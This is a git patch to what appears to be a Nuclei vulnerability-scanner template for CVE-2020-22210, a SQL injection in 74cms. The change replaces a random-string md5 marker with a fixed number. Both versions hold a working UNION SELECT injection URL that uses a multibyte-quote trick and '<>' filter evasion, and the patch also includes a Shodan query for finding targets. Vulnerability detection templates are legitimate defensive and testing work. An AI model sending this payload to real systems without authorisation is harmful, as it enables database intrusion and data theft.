From 74ae48a06f8c8aa3ef10cffcb67d5878241db207 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Thu, 30 Jun 2022 08:27:56 +0530 Subject: [PATCH] Update CVE-2020-22210.yaml --- cves/2020/CVE-2020-22210.yaml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/cves/2020/CVE-2020-22210.yaml b/cves/2020/CVE-2020-22210.yaml index 03d53d8c2a..fdc3408dfa 100644 --- a/cves/2020/CVE-2020-22210.yaml +++ b/cves/2020/CVE-2020-22210.yaml @@ -19,15 +19,18 @@ info: shodan-query: http.html:"74cms" tags: cve,cve2020,74cms,sqli +variables: + num: "999999999" + requests: - method: GET path: - - '{{BaseURL}}/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5("{{randstr}}"),5,6,7,8,9%23' + - '{{BaseURL}}/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{num}}),5,6,7,8,9%23' matchers: - type: word part: body words: - - '{{md5("{{randstr}}")}}' + - '{{md5({{num}})}}' # Enhanced by cs on 2022/06/21